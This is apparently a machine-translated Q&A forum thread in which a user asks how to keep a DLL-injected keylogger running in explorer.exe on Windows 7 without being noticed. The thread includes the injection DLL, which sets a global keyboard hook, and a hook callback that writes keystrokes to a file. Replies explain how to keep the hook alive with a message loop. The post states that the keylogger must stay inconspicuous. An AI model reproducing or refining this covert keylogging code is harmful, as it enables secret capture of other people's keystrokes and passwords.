2014-10-27 45 views
0

我試圖在Windows 7上創建鍵盤記錄程序。爲此,我創建了一個DLL(setHook.dll),我注入了explorer.exe的新線程。在這第一個DLL中,我打開了另一個包含每個鍵盤輸入上調用的函數(hookfunc)的dll。DLL中無限循環注入explorer.exe

我需要讓我的Dll在後臺工作,因爲如果它死了,我失去了我的Hook功能。 要做到這一點,我曾嘗試:

  • Sleep(INFINITE);:工作的時刻,但explorer.exe的崩潰
  • while(1);:工作的時刻,但explorer.exe的崩潰
  • system("pause"):工作!但我不希望屏幕上出現控制檯,我的鍵盤記錄器必須謹慎。
  • getchar():與system("pause")相同;
  • system("pause > null");:拒絕訪問
  • this_thread::sleep_for(chrono::seconds(10)):資源管理器崩潰

SetHook.dll:

BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID) 
{ 
    HMODULE dll; 
    HOOKPROC addr; 
    HHOOK handle; 

    if (dwReason != DLL_PROCESS_ATTACH) 
     return true; 
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll"))) 
     return false; 
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc"))) 
     return false; 
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0))) 
     return false; 
    Sleep(INFINITE); //issue here 
    return true; 
} 

CallbackFunc:(我不認爲它可以幫助)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam) 
{ 
    std::ofstream file; 
    WORD buf = 0; 
    BYTE KeyState[256]; 
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app); 
    if (code >= 0 && KEYUP(lParam)) 
    { 
     if (wParam == VK_RETURN) 
      file << "[ENTER]"; 
     else 
     { 
      GetKeyboardState(KeyState); 
      ToAscii(wParam, lParam, KeyState, &buf, 0); 
      file << (char)buf; 
     } 
    } 
    file.close(); 
    return (CallNextHookEx(NULL, code, wParam, lParam)); 
} 

代碼有效,我只需要一個謹慎的無限循環而不是睡眠(INFINITE)。任何想法 ?

+0

你必須從DllMain的返回或過程將掛起。從DllMain返回不會導致DLL被卸載。 – 2014-10-27 19:20:12

回答

2

睡在DllMain幾乎肯定是一個壞主意。

我假設您正在嘗試安裝global hook。要做到這一點,你需要在你的應用程序噴油器運行message loop,即是這樣的:

while(GetMessage(&msg, NULL, 0, 0)) 
{ 
    TranslateMessage(&msg); 
    DispatchMessage(&msg); 
} 
+0

+1,這是正確的解決方案恕我直言 – 2014-10-27 13:49:47

+0

我的注射器應用程序是這個DLL。我是否被迫把所有這些代碼放在注入器中?我這樣做的目標是沒有運行進程 – 2014-10-27 13:59:36

+0

你還會如何加載你的代碼?欺騙資源管理器加載你的DLL? – Krumelur 2014-10-27 14:31:48